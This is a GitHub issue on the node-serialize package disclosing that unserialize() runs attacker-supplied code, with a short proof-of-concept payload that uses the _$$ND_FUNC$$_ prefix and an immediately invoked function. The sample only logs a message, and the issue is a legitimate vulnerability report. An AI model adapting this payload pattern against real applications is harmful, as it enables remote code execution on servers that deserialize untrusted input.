Skip to content

Unserialize() can be abused to achieve arbitrary code injection with an IIFE #4

@ajinabraham

Description

@ajinabraham
var serialize = require('node-serialize');
var x = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}'
serialize.unserialize(x);

I don't know if this is a functionality as you are using eval() internally, but the module should not execute code on deserialization.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions